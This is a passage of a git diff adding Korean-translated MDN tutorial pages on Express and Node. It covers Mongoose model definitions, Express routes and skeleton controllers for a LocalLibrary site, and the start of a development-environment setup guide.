You will first need to create an account with mLab (this is free, and just requires that you enter basic contact details and acknowledge their terms of service). 

+ +

After logging in, you'll be taken to the home screen:

+ +
    +
  1. Click Create New in the MongoDB Deployments section.
  2. +
  3. This will open the Cloud Provider Selection screen.
    + MLab - screen for new deployment
    + +
      +
    • Select the SANDBOX (Free) plan from the Plan Type section. 
    • +
    • Select any provider from the Cloud Provider section. Different providers offer different regions (displayed below the selected plan type).
    • +
    • Click the Continue button.
    • +
    +
  4. +
  5. This will open the Select Region screen. +

    Select new region screen

    + +
      +
    • +

      Select the region closest to you and then Continue.

      +
    • +
    +
  6. +
  7. +

    This will open the Final Details screen.
    + New deployment database name

    + +
      +
    • +

      Enter the name for the new database as local_library and then select Continue.

      +
    • +
    +
  8. +
  9. +

    This will open the Order Confirmation screen.
    + Order confirmation screen

    + +
      +
    • +

      Click Submit Order to create the database.

      +
    • +
    +
  10. +
  11. +

    You will be returned to the home screen. Click on the new database you just created to open its details screen. As you can see the database has no collections (data).
    + mLab - Database details screen
    +  
    + The URL that you need to use to access your database is displayed on the form above (shown for this database circled above). In order to use this you need to create a database user that you can specify in the URL.

    +
  12. +
  13. Click the Users tab and select the Add database user button.
  14. +
  15. Enter a username and password (twice), and then press Create. Do not select Make read only.
    +
  16. +
+ +

You now have now created the database, and have an URL (with username and password) that can be used to access it. This will look something like: mongodb://your_user_namer:your_password@ds119748.mlab.com:19748/local_library.

+ +

Install Mongoose

+ +

Open a command prompt and navigate to the directory where you created your skeleton Local Library website. Enter the following command to install Mongoose (and its dependencies) and add it to your package.json file, unless you have already done so when reading the Mongoose Primer above.

+ +
npm install mongoose --save
+
+ +

Connect to MongoDB

+ +

Open /app.js (in the root of your project) and copy the following text below where you declare the Express application object (after the line var app = express();). Replace the database url string ('insert_your_database_url_here') with the location URL representing your own database (i.e. using the information from from mLab).

+ +
//Set up mongoose connection
+var mongoose = require('mongoose');
+var mongoDB = 'insert_your_database_url_here';
+mongoose.connect(mongoDB);
+mongoose.Promise = global.Promise;
+var db = mongoose.connection;
+db.on('error', console.error.bind(console, 'MongoDB connection error:'));
+ +

As discussed in the Mongoose primer above, this code creates the default connection to the database and binds to the error event (so that errors will be printed to the console). 

+ +

Defining the LocalLibrary Schema

+ +

We will define a separate module for each model, as discussed above. Start by creating a folder for our models in the project root (/models) and then create separate files for each of the models:

+ +
/express-locallibrary-tutorial  //the project root
+  /models
+    author.js
+    book.js
+    bookinstance.js
+    genre.js
+
+ +

Author model

+ +

Copy the Author schema code shown below and paste it into your ./models/author.js file. The scheme defines an author has having String SchemaTypes for the first and family names, that are required and have a maximum of 100 characters, and Date fields for the date of birth and death.

+ +
var mongoose = require('mongoose');
+
+var Schema = mongoose.Schema;
+
+var AuthorSchema = new Schema(
+  {
+    first_name: {type: String, required: true, max: 100},
+    family_name: {type: String, required: true, max: 100},
+    date_of_birth: {type: Date},
+    date_of_death: {type: Date},
+  }
+);
+
+// Virtual for author's full name
+AuthorSchema
+.virtual('name')
+.get(function () {
+  return this.family_name + ', ' + this.first_name;
+});
+
+// Virtual for author's URL
+AuthorSchema
+.virtual('url')
+.get(function () {
+  return '/catalog/author/' + this._id;
+});
+
+//Export model
+module.exports = mongoose.model('Author', AuthorSchema);
+
+
+ +

We've also declared a virtual for the AuthorSchema named "url" that returns the absolute URL required to get a particular instance of the model — we'll use the property in our templates whenever we need to get a link to a particular author.

+ +
+

Note: Declaring our URLs as a virtual in the schema is a good idea because then the URL for an item only ever needs to be changed in one place.
+ At this point a link using this URL wouldn't work, because we haven't got any routes handling code for individual model instances. We'll set those up in a later article!

+
+ +

At the end of the module we export the model.

+ +

Book model

+ +

Copy the Book schema code shown below and paste it into your ./models/book.js file. Most of this is similar to the author model — we've declared a schema with a number of string fields and a virtual for getting the URL of specific book records, and we've exported the model.

+ +
var mongoose = require('mongoose');
+
+var Schema = mongoose.Schema;
+
+var BookSchema = new Schema(
+  {
+    title: {type: String, required: true},
+    author: {type: Schema.ObjectId, ref: 'Author', required: true},
+    summary: {type: String, required: true},
+    isbn: {type: String, required: true},
+    genre: [{type: Schema.ObjectId, ref: 'Genre'}]
+  }
+);
+
+// Virtual for book's URL
+BookSchema
+.virtual('url')
+.get(function () {
+  return '/catalog/book/' + this._id;
+});
+
+//Export model
+module.exports = mongoose.model('Book', BookSchema);
+
+ +

The main difference here is that we've created two references to other models:

+ + + +

BookInstance model

+ +

Finally, copy the BookInstance schema code shown below and paste it into your ./models/bookinstance.js file. The BookInstance represents a specific copy of a book that someone might borrow, and includes information about whether the copy is available or on what date it is expected back, "imprint" or version details.

+ +
var mongoose = require('mongoose');
+
+var Schema = mongoose.Schema;
+
+var BookInstanceSchema = new Schema(
+  {
+    book: { type: Schema.ObjectId, ref: 'Book', required: true }, //reference to the associated book
+    imprint: {type: String, required: true},
+    status: {type: String, required: true, enum: ['Available', 'Maintenance', 'Loaned', 'Reserved'], default: 'Maintenance'},
+    due_back: {type: Date, default: Date.now}
+  }
+);
+
+// Virtual for bookinstance's URL
+BookInstanceSchema
+.virtual('url')
+.get(function () {
+  return '/catalog/bookinstance/' + this._id;
+});
+
+//Export model
+module.exports = mongoose.model('BookInstance', BookInstanceSchema);
+ +

The new things we show here are the field options:

+ + + +

Everything else should be familiar from our previous schema.

+ +

Genre model - challenge!

+ +

Open your ./models/genre.js file and create a schema for storing genres (the category of book, e.g. whether it is fiction or non-fiction, romance or military history, etc).

+ +

The definition will be very similar to the other models:

+ + + +

Testing — create some items

+ +

That's it. We now have all models for the site set up!

+ +

In order to test the models (and to create some example books and other items that we can use in our next articles) we'll now run an independent script to create items of each type:

+ +
    +
  1. Download (or otherwise create) the file populatedb.js inside your express-locallibrary-tutorial directory (in the same level as package.json). + +
    +

    Note: You don't need to know how populatedb.js works; it just adds sample data into the database.

    +
    +
  2. +
  3. Enter the following commands in the project root to install the async module that is required by the script (we'll discuss this in later tutorials, ) +
    npm install async --save
    +
  4. +
  5. Run the script using node in your command prompt, passing in the URL of your MongoDB database (the same one you replaced the insert_your_database_url_here placeholder with, inside app.js earlier): +
    node populatedb <your mongodb url>​​​​
    +
  6. +
  7. The script should run through to completion, displaying items as it creates them in the terminal.
  8. +
+ +
+

Tip: Go to your database on mLab. You should now be able to drill down into individual collections of Books, Authors, Genres and BookInstances, and check out individual documents.

+
+ +

Summary

+ +

In this article we've learned a bit about databases and ORMs on Node/Express, and a lot about how Mongoose schema and models are defined. We then used this information to design and implement Book, BookInstance, Author and Genre models for the LocalLibrary website.

+ +

Last of all we tested our models by creating a number of instances (using a standalone script). In the next article we'll look at creating some pages to display these objects.

+ +

See also

+ + + +

{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/skeleton_website", "Learn/Server-side/Express_Nodejs/routes", "Learn/Server-side/Express_Nodejs")}}

+ +

 

+ +

In this module

+ + + +

 

diff --git a/files/ko/learn/server-side/express_nodejs/routes/index.html b/files/ko/learn/server-side/express_nodejs/routes/index.html new file mode 100644 index 0000000000..8d8618ca98 --- /dev/null +++ b/files/ko/learn/server-side/express_nodejs/routes/index.html @@ -0,0 +1,639 @@ +--- +title: 'Express Tutorial Part 4: Routes and controllers' +slug: Learn/Server-side/Express_Nodejs/routes +translation_of: Learn/Server-side/Express_Nodejs/routes +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/mongoose", "Learn/Server-side/Express_Nodejs/Displaying_data", "Learn/Server-side/Express_Nodejs")}}
+ +

이 튜토리얼에서 우리는 더미 핸들러 함수를 이용해 최종적으로 LocalLibrary 웹사이트에 쓰이게 될 모든 리소스 종단점라우팅 모듈 (url 핸들링 코드)를 설정해 볼 것입니다.이 작업을 통해 우리는 향후 문서에 쓰일 함수들을 모듈화된 라우트 핸들링 코드 구조로 제작하는 법을 배울 수 있습니다.또한 Express를 이용해 모듈화된 라우팅방법을 잘 이해할 수 있게 될 것입니다.

+ + + + + + + + + + + + +
사전조건:Express/Node introduction를 먼저 구독해주세요.이전 강의 주제를 완료해 주세요.( Express Tutorial Part3 : Mongoose Database 와 연동하기)
목표: +

 간단한 라우팅 함수 구현.

+ +

모든 URL 종단점 구성해보기.

+
+ +

개요

+ +

지난 튜토리얼에서 우리는 데이터베이스와의 상호작용을 위해서 Mongoose 모델을 정의 했으며 초기 도서관 기록들을  만들기 위해 단 하나의 스크립트 파일을 사용했습니다.이것으로 우리는 이제 사용자에게 정보를 제공을 위한 코드를 작성할 수 있게 되었습니다. 첫번째로 해야할 일은 어떠한 정보를 웹사이트 페이지에 노출시킬 지 정하는 것입니다.그 다음에  정보들을 반환하기 위한 적절한 URL을 정의하게 될 것입니다.

+ +

하단의 다이어그램은 HTTP를 통해 정보를 요청/반환을 작업할 경우 실현시켜야 하는  정보와 객체들의 주요 흐름을 나타내고 있습니다.In addition to the views and routes the diagram shows "controllers" — functions that separate out the code to route requests from the code that actually processes requests.

+ +

 

+ +

`이미 작성한 모델들을 제외한 우리가 앞으로 작성할 목록은 :

+ + + +

+ +

Ultimately we might have pages to show lists and detail information for books, genres, authors and bookinstances, along with pages to create, update, and delete records. That's a lot to document in one article. Therefore most of this article will concentrate on setting up our routes and controllers to return "dummy" content. We'll extend the controller methods in our subsequent articles to work with model data.

+ +

The first section below provides a brief "primer" on how to use the Express "Router" middleware. We'll then use that knowledge in the following sections when we set up the LocalLibrary routes.

+ +

Routes primer

+ +

A route is a section of Express code that associates an HTTP verb (GET, POST, PUT, DELETE, etc.), an URL path/pattern, and a function that is called to handle that pattern.

+ +

There are several ways to create routes. For this tutorial we're going to use the express.Router middleware as it allows us to group the route handlers for a particular part of a site together and access them using a common route-prefix. We'll keep all our library-related routes in a "catalog" module, and, if we add routes for handling user accounts or other functions, we can keep them grouped separately.

+ +
+

Note: We discussed Express application routes briefly in our Express Introduction > Creating route handlers. Other than providing better support for modularization (as discussed in the first subsection below), using Router is very similar to defining routes directly on the Express application object.

+
+ +

The rest of this section provides an overview of how the Router can be used to define the routes.

+ +

분리된 라우트 모듈들의 사용과 정의(Defining and using separate route modules)

+ +

The code below provides a concrete example of how we can create a route module and then use it in an Express application.

+ +

아래 코드는 우리가 어떻게 라우트 모듈을 생성하고  Express 어플리케이션에서 사용할 것인지에 대한 구체적인 예를 보여준다.

+ +

First we create routes for a wiki in a module named wiki.js. The code first imports the Express application object, uses it to get a Router object and then adds a couple of routes to it using the get() method. Last of all the module exports the Router object.

+ +

첫번재  우리는 wiki.js 를 이름을 가진 모듈에서 위키를 위한 라우트를 만든다. 첫번째 코드에서 Express 어플리케이션 객체가 중요하고, 이 객체를 라우트 오브젝트를 얻기 위해서 사용하고, get()메서드를 사용하여 라우트는 2개를 추가한다. 모듈에서 마지막에는 라우트 객체를 Export한다.

+ +
// wiki.js - Wiki route module
+
+var express = require('express')
+var router = express.Router()
+
+// Home page route
+router.get('/', function (req, res) {
+  res.send('Wiki home page')
+})
+
+// About page route
+router.get('/about', function (req, res) {
+  res.send('About this wiki')
+})
+
+module.exports = router
+
+
+ +
+

Note: Above we are defining our route handler callbacks directly in the router functions. In the LocalLibrary we'll define these callbacks in a separate controller module.

+
+ +

To use the router module in our main app file we first require() the route module (wiki.js). We then call use() on the Express application to add the Router to the middleware handling path, specifying an URL path of 'wiki'.

+ +
var wiki = require('./wiki.js')
+// ...
+app.use('/wiki', wiki)
+ +

The two routes defined in our wiki route module are then accessible from /wiki/ and /wiki/about/.

+ +

wiki 라우트 모듈에서 정희 두개의 라우트를 정의되면 /wiki그리고 /wiki/about/ 으로 접근가능해진다.

+ +

라우트 함수들(Route functions)

+ +

Our module above defines a couple of typical route functions. The "about" route (reproduced below) is defined using the Router.get() method, which responds only to HTTP GET requests. The first argument to this method is the URL path while the second is a callback function that will be invoked if an HTTP GET request with the path is received.

+ +
router.get('/about', function (req, res) {
+  res.send('About this wiki')
+})
+
+ +

The callback takes three arguments (usually named as shown: req, res, next), that will contain the HTTP Request object, HTTP response, and the next function in the middleware chain.

+ +
+

Note: Router functions are Express middleware, which means that they must either complete (respond to) the request or call the next function in the chain. In the case above we complete the request, so the next argument is not actually used.

+
+ +

The callback function here calls send() on the response to return the string "About this wiki" when we receive a GET request with the path ('/about'). There are a number of other response methods for ending the request/response cycle. For example, you could call res.json() to send a JSON response or res.sendFile() to send a file. The response method that we'll be using most often as we build up the library is render(), which creates and returns HTML files using templates and data—we'll talk a lot more about that in a later article!

+ +

HTTP verbs

+ +

The example routes above use the Router.get() method to respond to HTTP GET requests with a certain path.

+ +

The Router also provides route methods for all the other HTTP verbs, that are mostly used in exactly the same way: post(), put(), delete(), options(), trace(), copy(), lock(), mkcol(), move(), purge(), propfind(), proppatch(), unlock(), report(), ​​​​​​ mkactivity(), checkout(), merge(), m-search(), notify(), subscribe(), unsubscribe(), patch(), search(), and connect().

+ +

For example, the code below behaves just like the previous /about route, but only responds to HTTP POST requests.

+ +
router.post('/about', function (req, res) {
+  res.send('About this wiki')
+})
+ +

라우트 경로들(Route paths)

+ +

The route paths define the endpoints at which requests can be made. The examples we've seen so far have just been strings, and are used exactly as written: '/', '/about', '/book', '/any-random.path'.

+ +

Route paths can also be string patterns. String patterns use a subset of regular expression syntax to define patterns of endpoints that will be matched. The subset is listed below (note that the hyphen (-) and the dot (.) are interpreted literally by string-based paths):

+ + + +

The route paths can also be JavaScript regular expressions. For example, the route path below will match match catfish and dogfish, but not catflap, catfishhead, and so on. Note that the path for a regular expression uses regular expression syntax (it is not a quoted string as in the previous cases).

+ +
app.get(/.*fish$/, function (req, res) {
+  ...
+})
+ +
+

Note: Most of our routes for the LocalLibrary will simply use strings and not string patterns and regular expressions. We'll also use route parameters as discussed in the next section.

+
+ +

라우트 파라미터들(Route parameters)

+ +

Route parameters are named URL segments used to capture the values specified at their position in the URL. The named segments are prefixed with a colon and then the name (e.g. /:your_parameter_name/. The captured values are stored in the req.params object using the parameter names as keys (e.g. req.params.your_parameter_name).

+ +

So for example, consider a URL encoded to contain information about users and books: http://localhost:3000/users/34/books/8989. We can extract this information as shown below, with the userId and bookId path parameters:

+ +
app.get('/users/:userId/books/:bookId', function (req, res) {
+  // Access userId via: req.params.userId
+  // Access bookId via: req.params.bookId
+  res.send(req.params)
+})
+
+ +

The names of route parameters must be made up of “word characters” (A-Z, a-z, 0-9, and _).

+ +
+

Note: The URL /book/create will be matched by a route like /book/:bookId (which will extract a "bookId" value of 'create'). The first route that matches an incoming URL will be used, so if you want to process /book/create URLs separately, their route handler must be defined before your /book/:bookId route.

+
+ +

That's all you need to get started with routes - if needed you can find more information in the Express docs: Basic routing and Routing guide. The following sections show how we'll set up our routes and controllers for the LocalLibrary.

+ +

Routes needed for the LocalLibrary

+ +

The URLs that we're ultimately going to need for our pages are listed below, where object is replaced by the name of each of our models (book, bookinstance, genre, author), objects is the plural of object, and id is the unique instance field (_id) that is given to each Mongoose model instance by default.

+ + + +

The first home page and list pages don't encode any additional information. While the results returned will depend on the model type and the content in the database, the queries run to get the information will always be the same (similarly the code run for object creation will always be similar).

+ +

By contrast the other URLs are used to act on a specific document/model instance—these encode the identity of the item in the URL (shown as <id> above). We'll use path parameters to extract the encoded information and pass it to the route handler (and in a later article we'll use this to dynamically determine what information to get from the database). By encoding the information in our URL we only need one route for every resource of a particular type (e.g. one route to handle the display of every single book item).

+ +
+

Note: Express allows you to construct your URLs any way you like — you can encode information in the body of the URL as shown above or use URL GET parameters (e.g. /book/?id=6). Whichever approach you use, the URLs should be kept clean, logical and readable (check out the W3C advice here).

+
+ +

Next we create our route handler callback functions and route code for all the above URLs.

+ +

Create the route-handler callback functions

+ +

Before we define our routes, we'll first create all the dummy/skeleton callback functions that they will invoke. The callbacks will be stored in separate "controller" modules for Books, BookInstances, Genres, and Authors (you can use any file/module structure, but this seems an appropriate granularity for this project).

+ +

Start by creating a folder for our controllers in the project root (/controllers) and then create separate controller files/modules for handling each of the models:

+ +
/express-locallibrary-tutorial  //the project root
+  /controllers
+    authorController.js
+    bookController.js
+    bookinstanceController.js
+    genreController.js
+ +

Author controller

+ +

Open the /controllers/authorController.js file and copy in the following code:

+ +
var Author = require('../models/author');
+
+// Display list of all Authors
+exports.author_list = function(req, res) {
+    res.send('NOT IMPLEMENTED: Author list');
+};
+
+// Display detail page for a specific Author
+exports.author_detail = function(req, res) {
+    res.send('NOT IMPLEMENTED: Author detail: ' + req.params.id);
+};
+
+// Display Author create form on GET
+exports.author_create_get = function(req, res) {
+    res.send('NOT IMPLEMENTED: Author create GET');
+};
+
+// Handle Author create on POST
+exports.author_create_post = function(req, res) {
+    res.send('NOT IMPLEMENTED: Author create POST');
+};
+
+// Display Author delete form on GET
+exports.author_delete_get = function(req, res) {
+    res.send('NOT IMPLEMENTED: Author delete GET');
+};
+
+// Handle Author delete on POST
+exports.author_delete_post = function(req, res) {
+    res.send('NOT IMPLEMENTED: Author delete POST');
+};
+
+// Display Author update form on GET
+exports.author_update_get = function(req, res) {
+    res.send('NOT IMPLEMENTED: Author update GET');
+};
+
+// Handle Author update on POST
+exports.author_update_post = function(req, res) {
+    res.send('NOT IMPLEMENTED: Author update POST');
+};
+
+ +

The module first requires the model that we'll later be using to access and update our data. It then exports functions for each of the URLs we wish to handle (the create, update and delete operations use forms, and hence also have additional methods for handling form post requests — we'll discuss those methods in the "forms article" later on).

+ +

All the functions have the standard form of an Express middleware function, with arguments for the request, response, and the next function to be called if the method does not complete the request cycle (in all these cases it does!). The methods simply return a string indicating that the associated page has not yet been created. If a controller function is expected to receive path parameters, these are included in the message string.

+ +

BookInstance controller

+ +

Open the /controllers/bookinstanceController.js file and copy in the following code (this follows an identical pattern to the Author controller module):

+ +
var BookInstance = require('../models/bookinstance');
+
+// Display list of all BookInstances
+exports.bookinstance_list = function(req, res) {
+    res.send('NOT IMPLEMENTED: BookInstance list');
+};
+
+// Display detail page for a specific BookInstance
+exports.bookinstance_detail = function(req, res) {
+    res.send('NOT IMPLEMENTED: BookInstance detail: ' + req.params.id);
+};
+
+// Display BookInstance create form on GET
+exports.bookinstance_create_get = function(req, res) {
+    res.send('NOT IMPLEMENTED: BookInstance create GET');
+};
+
+// Handle BookInstance create on POST
+exports.bookinstance_create_post = function(req, res) {
+    res.send('NOT IMPLEMENTED: BookInstance create POST');
+};
+
+// Display BookInstance delete form on GET
+exports.bookinstance_delete_get = function(req, res) {
+    res.send('NOT IMPLEMENTED: BookInstance delete GET');
+};
+
+// Handle BookInstance delete on POST
+exports.bookinstance_delete_post = function(req, res) {
+    res.send('NOT IMPLEMENTED: BookInstance delete POST');
+};
+
+// Display BookInstance update form on GET
+exports.bookinstance_update_get = function(req, res) {
+    res.send('NOT IMPLEMENTED: BookInstance update GET');
+};
+
+// Handle bookinstance update on POST
+exports.bookinstance_update_post = function(req, res) {
+    res.send('NOT IMPLEMENTED: BookInstance update POST');
+};
+
+ +

Genre controller

+ +

Open the /controllers/genreController.js file and copy in the following text (this follows an identical pattern to the Author and BookInstance files):

+ +
var Genre = require('../models/genre');
+
+// Display list of all Genre
+exports.genre_list = function(req, res) {
+    res.send('NOT IMPLEMENTED: Genre list');
+};
+
+// Display detail page for a specific Genre
+exports.genre_detail = function(req, res) {
+    res.send('NOT IMPLEMENTED: Genre detail: ' + req.params.id);
+};
+
+// Display Genre create form on GET
+exports.genre_create_get = function(req, res) {
+    res.send('NOT IMPLEMENTED: Genre create GET');
+};
+
+// Handle Genre create on POST
+exports.genre_create_post = function(req, res) {
+    res.send('NOT IMPLEMENTED: Genre create POST');
+};
+
+// Display Genre delete form on GET
+exports.genre_delete_get = function(req, res) {
+    res.send('NOT IMPLEMENTED: Genre delete GET');
+};
+
+// Handle Genre delete on POST
+exports.genre_delete_post = function(req, res) {
+    res.send('NOT IMPLEMENTED: Genre delete POST');
+};
+
+// Display Genre update form on GET
+exports.genre_update_get = function(req, res) {
+    res.send('NOT IMPLEMENTED: Genre update GET');
+};
+
+// Handle Genre update on POST
+exports.genre_update_post = function(req, res) {
+    res.send('NOT IMPLEMENTED: Genre update POST');
+};
+
+ +

Book controller

+ +

Open the /controllers/bookController.js file and copy in the following code. This follows the same pattern as the other controller modules, but additionally has an index() function for displaying the site welcome page:

+ +
var Book = require('../models/book');
+
+exports.index = function(req, res) {
+    res.send('NOT IMPLEMENTED: Site Home Page');
+};
+
+// Display list of all books
+exports.book_list = function(req, res) {
+    res.send('NOT IMPLEMENTED: Book list');
+};
+
+// Display detail page for a specific book
+exports.book_detail = function(req, res) {
+    res.send('NOT IMPLEMENTED: Book detail: ' + req.params.id);
+};
+
+// Display book create form on GET
+exports.book_create_get = function(req, res) {
+    res.send('NOT IMPLEMENTED: Book create GET');
+};
+
+// Handle book create on POST
+exports.book_create_post = function(req, res) {
+    res.send('NOT IMPLEMENTED: Book create POST');
+};
+
+// Display book delete form on GET
+exports.book_delete_get = function(req, res) {
+    res.send('NOT IMPLEMENTED: Book delete GET');
+};
+
+// Handle book delete on POST
+exports.book_delete_post = function(req, res) {
+    res.send('NOT IMPLEMENTED: Book delete POST');
+};
+
+// Display book update form on GET
+exports.book_update_get = function(req, res) {
+    res.send('NOT IMPLEMENTED: Book update GET');
+};
+
+// Handle book update on POST
+exports.book_update_post = function(req, res) {
+    res.send('NOT IMPLEMENTED: Book update POST');
+};
+
+ +

Create the catalog route module

+ +

Next we create routes for all the URLs needed by the LocalLibrary website, which will call the controller functions we defined in the previous section.

+ +

The skeleton already has a ./routes folder containing routes for the index and users. Create another route file — catalog.js — inside this folder, as shown.

+ +
/express-locallibrary-tutorial //the project root
+  /routes
+    index.js
+    users.js
+    catalog.js
+ +

Open /routes/catalog.js and copy in the code below:

+ +
var express = require('express');
+var router = express.Router();
+
+// Require controller modules
+var book_controller = require('../controllers/bookController');
+var author_controller = require('../controllers/authorController');
+var genre_controller = require('../controllers/genreController');
+var book_instance_controller = require('../controllers/bookinstanceController');
+
+/// BOOK ROUTES ///
+
+/* GET catalog home page. */
+router.get('/', book_controller.index);
+
+/* GET request for creating a Book. NOTE This must come before routes that display Book (uses id) */
+router.get('/book/create', book_controller.book_create_get);
+
+/* POST request for creating Book. */
+router.post('/book/create', book_controller.book_create_post);
+
+/* GET request to delete Book. */
+router.get('/book/:id/delete', book_controller.book_delete_get);
+
+// POST request to delete Book
+router.post('/book/:id/delete', book_controller.book_delete_post);
+
+/* GET request to update Book. */
+router.get('/book/:id/update', book_controller.book_update_get);
+
+// POST request to update Book
+router.post('/book/:id/update', book_controller.book_update_post);
+
+/* GET request for one Book. */
+router.get('/book/:id', book_controller.book_detail);
+
+/* GET request for list of all Book items. */
+router.get('/books', book_controller.book_list);
+
+/// AUTHOR ROUTES ///
+
+/* GET request for creating Author. NOTE This must come before route for id (i.e. display author) */
+router.get('/author/create', author_controller.author_create_get);
+
+/* POST request for creating Author. */
+router.post('/author/create', author_controller.author_create_post);
+
+/* GET request to delete Author. */
+router.get('/author/:id/delete', author_controller.author_delete_get);
+
+// POST request to delete Author
+router.post('/author/:id/delete', author_controller.author_delete_post);
+
+/* GET request to update Author. */
+router.get('/author/:id/update', author_controller.author_update_get);
+
+// POST request to update Author
+router.post('/author/:id/update', author_controller.author_update_post);
+
+/* GET request for one Author. */
+router.get('/author/:id', author_controller.author_detail);
+
+/* GET request for list of all Authors. */
+router.get('/authors', author_controller.author_list);
+
+/// GENRE ROUTES ///
+
+/* GET request for creating a Genre. NOTE This must come before route that displays Genre (uses id) */
+router.get('/genre/create', genre_controller.genre_create_get);
+
+/* POST request for creating Genre. */
+router.post('/genre/create', genre_controller.genre_create_post);
+
+/* GET request to delete Genre. */
+router.get('/genre/:id/delete', genre_controller.genre_delete_get);
+
+// POST request to delete Genre
+router.post('/genre/:id/delete', genre_controller.genre_delete_post);
+
+/* GET request to update Genre. */
+router.get('/genre/:id/update', genre_controller.genre_update_get);
+
+// POST request to update Genre
+router.post('/genre/:id/update', genre_controller.genre_update_post);
+
+/* GET request for one Genre. */
+router.get('/genre/:id', genre_controller.genre_detail);
+
+/* GET request for list of all Genre. */
+router.get('/genres', genre_controller.genre_list);
+
+/// BOOKINSTANCE ROUTES ///
+
+/* GET request for creating a BookInstance. NOTE This must come before route that displays BookInstance (uses id) */
+router.get('/bookinstance/create', book_instance_controller.bookinstance_create_get);
+
+/* POST request for creating BookInstance. */
+router.post('/bookinstance/create', book_instance_controller.bookinstance_create_post);
+
+/* GET request to delete BookInstance. */
+router.get('/bookinstance/:id/delete', book_instance_controller.bookinstance_delete_get);
+
+// POST request to delete BookInstance
+router.post('/bookinstance/:id/delete', book_instance_controller.bookinstance_delete_post);
+
+/* GET request to update BookInstance. */
+router.get('/bookinstance/:id/update', book_instance_controller.bookinstance_update_get);
+
+// POST request to update BookInstance
+router.post('/bookinstance/:id/update', book_instance_controller.bookinstance_update_post);
+
+/* GET request for one BookInstance. */
+router.get('/bookinstance/:id', book_instance_controller.bookinstance_detail);
+
+/* GET request for list of all BookInstance. */
+router.get('/bookinstances', book_instance_controller.bookinstance_list);
+
+module.exports = router;
+
+ +

The module requires Express and then uses it to create a Router object. The routes are all set up on the router, which is then exported.

+ +

The routes are defined either using .get() or .post() methods on the router object. All the paths are defined using strings (we don't use string patterns or regular expressions), routes that act on some specific resource (e.g. book) use path parameters to get the object id from the URL.

+ +

The handler functions are all imported from the controller modules we created in the previous section.

+ +

Update the index route module

+ +

We've set up all our new routes, but we still have a route to the original page. Let's instead redirect this to the new index page that we've created at the path '/catalog'.

+ +

Open /routes/index.js and replace the existing route with the function below.

+ +
/* GET home page. */
+router.get('/', function(req, res) {
+  res.redirect('/catalog');
+});
+ +
+

Note: This is our first use of the redirect() response method. This redirects to the specified page, by default sending HTTP status code "302 Found". You can change the status code returned if needed, and supply either absolute or relative paths.

+
+ +

Update app.js

+ +

The last step is to add the routes to the middleware chain. We do this in app.js.

+ +

Open app.js and require the catalog route below the other routes (add the third line shown below, underneath the other two):

+ +
var index = require('./routes/index');
+var users = require('./routes/users');
+var catalog = require('./routes/catalog');  //Import routes for "catalog" area of site
+ +

Next, add the catalog route to the middleware stack below the other routes (add the third line shown below, underneath the other two):

+ +
app.use('/', index);
+app.use('/users', users);
+app.use('/catalog', catalog);  // Add catalog routes to middleware chain.
+ +
+

Note: We have added our catalog module at a path '/catalog'. This is prepended to all of the paths defined in the catalog module. So for example, to access a list of books, the URL will be: /catalog/books/.

+
+ +

That's it. We should now have routes and skeleton functions enabled for all the URLs that we will eventually support on the LocalLibrary website.

+ +

Testing the routes

+ +

To test the routes, first start the website using your usual approach

+ + + +

Then navigate to a number of LocalLibrary URLs, and verify that you don't get an error page (HTTP 404). A small set of URLs are listed below for your convenience:

+ + + +

Summary

+ +

We've now created all the routes for our site, along with dummy controller functions that we can populate with a full implementation in later articles. Along the way we've learned a lot of fundamental information about Express routes, and some approaches for structuring our routes and controllers.

+ +

In our next article we'll create a proper welcome page for the site, using views (templates) and information stored in our models.

+ +

See also

+ + + +

{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/mongoose", "Learn/Server-side/Express_Nodejs/Displaying_data", "Learn/Server-side/Express_Nodejs")}}

diff --git "a/files/ko/learn/server-side/express_nodejs/\352\260\234\353\260\234_\355\231\230\352\262\275/index.html" "b/files/ko/learn/server-side/express_nodejs/\352\260\234\353\260\234_\355\231\230\352\262\275/index.html" new file mode 100644 index 0000000000..b8c8db8ffa --- /dev/null +++ "b/files/ko/learn/server-side/express_nodejs/\352\260\234\353\260\234_\355\231\230\352\262\275/index.html" @@ -0,0 +1,403 @@ +--- +title: Node 개발 환경을 설치하기 +slug: Learn/Server-side/Express_Nodejs/개발_환경 +tags: + - CodingScripting + - Express + - Node + - nodejs + - npm + - 개발 환경 + - 배움 + - 서버-사이드 + - 인트로 + - 초보자 +translation_of: Learn/Server-side/Express_Nodejs/development_environment +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/Introduction", "Learn/Server-side/Express_Nodejs/Tutorial_local_library_website", "Learn/Server-side/Express_Nodejs")}}
+ +

이제 Express에 관한 내용을 알았으니, Windows, Linux (Ubuntu), 그리고 macOS 에서의 Node/Express 개발 환경을 설정하고 테스트하는 법을 보여드리겠습니다. 사용중인 운영 체제가 무엇이든 간에, 이 글은 당신에게 Express 앱 개발을 시작할 수 있도록 필요한 내용을 제공합니다.

+ + + + + + + + + + + + +
전제 조건:터미널 혹은 명령어 창을 여는 방법. 당신의 개발 컴퓨터의 운영 체제에 소프트웨어 패키지를 설치하는 방법을 알고 있어야 합니다.
목표:당신의 컴퓨터에 Express (X.XX) 을 위한 개발 환경을 설치하는 것.
+ +

Express 개발 환경 개요

+ +

Node and Express make it very easy to set up your computer in order to start developing web applications. This section provides an overview of what tools are needed, explains some of the simplest methods for installing Node (and Express) on Ubuntu, macOS, and Windows, and shows how you can test your installation.

+ +

Express 개발 환경이란 무엇입니까?

+ +

The Express development environment includes an installation of Nodejs, the NPM package manager, and (optionally) the Express Application Generator on your local computer.

+ +

Node and the NPM package manager are installed together from prepared binary packages, installers, operating system package managers or from source (as shown in the following sections). Express is then installed by NPM as a dependency of your individual Express web applications (along with other libraries like template engines, database drivers, authentication middleware, middleware to serve static files, etc.)

+ +

NPM can also be used to (globally) install the Express Application Generator, a handy tool for creating skeleton Express web apps that follow the MVC pattern. The application generator is optional because you don't need to use this tool to create apps that use Express, or construct Express apps that have the same architectural layout or dependencies. We'll be using it though, because it makes getting started a lot easier, and promotes a modular application structure.

+ +
+

Note: Unlike for some other web frameworks, the development environment does not include a separate development web server. In Node/Express a web application creates and runs its own web server!

+
+ +

There are other peripheral tools that are part of a typical development environment, including text editors or IDEs for editing code, and source control management tools like Git for safely managing different versions of your code. We are assuming that you've already got these sorts of tools installed (in particular a text editor).

+ +

What operating systems are supported?

+ +

